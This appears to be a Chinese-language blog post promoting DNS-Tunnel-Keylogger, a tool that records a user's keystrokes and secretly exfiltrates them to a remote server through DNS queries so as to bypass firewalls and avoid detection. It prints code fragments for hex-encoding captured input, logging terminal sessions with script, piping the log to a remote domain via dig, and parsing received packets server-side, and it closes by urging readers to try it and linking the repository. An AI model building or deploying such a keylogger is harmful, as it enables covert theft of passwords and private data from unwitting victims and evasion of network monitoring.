DNS-Tunnel-Keylogger实现了键盘记录并将数据通过DNS隧道隐蔽传输到服务端的功能,它绕过了防火墙并减少了被检测的风险,主要功能包括:
该系统主要由以下几个模块组成:
# 将数据编码为十六进制格式
data=$(echo "$letters" | xxd -ps -c 200 | tr -d '\n' | head -c -2)
# 将编码后的数据通过DNS查询请求发送到远程服务器
dig_out=$(dig $encoded A +short)
# 记录用户的键盘输入并保存到日志文件中
script -f -q -I "$log_file_path" 2> /dev/null
# 将日志文件中的内容通过DNS协议发送到远程服务器
tail -f "$log_file_path" | ./connection.sh "$domain" &
# 解析接收到的数据包
class DataParser():
def __init__(self, ip):
self.last_received = -1
self.data = bytearray()
self.ip = ip
def add(self, packet_number: int, data: bytes):
if packet_number == self.last_received: # 重复的数据包
raise ShortCircuitException()
if not (packet_number > self.last_received or packet_number == 0):
self.last_received = 0
raise PacketsOutOfOrderException()
try:
data.decode('ascii')
self.data.extend(data)
except:
print("Unable decode last data packet: " + str(data))
finally:
self.last_received = packet_number
// 建立与远程DNS服务器的连接
int startConnection(const char* domain) {
// 发送DNS查询请求以建立连接
DNS_STATUS status = DnsQuery(domain, DNS_TYPE_A, DNS_OPTIONS, NULL, &dnsRecord, NULL);
if (status != 0) {
return -1;
}
return 0;
}
DNS-Tunnel-Keylogger通过利用DNS隧道协议的隐蔽性,实现了数据的隐蔽传输和键盘记录功能。系统支持多平台运行,并具备较强的抗干扰能力,能够在网络监控下进行数据传输。感兴趣的朋友可以试试。
github链接地址:https://github.com/Geeoon/DNS-Tunnel-Keylogger.git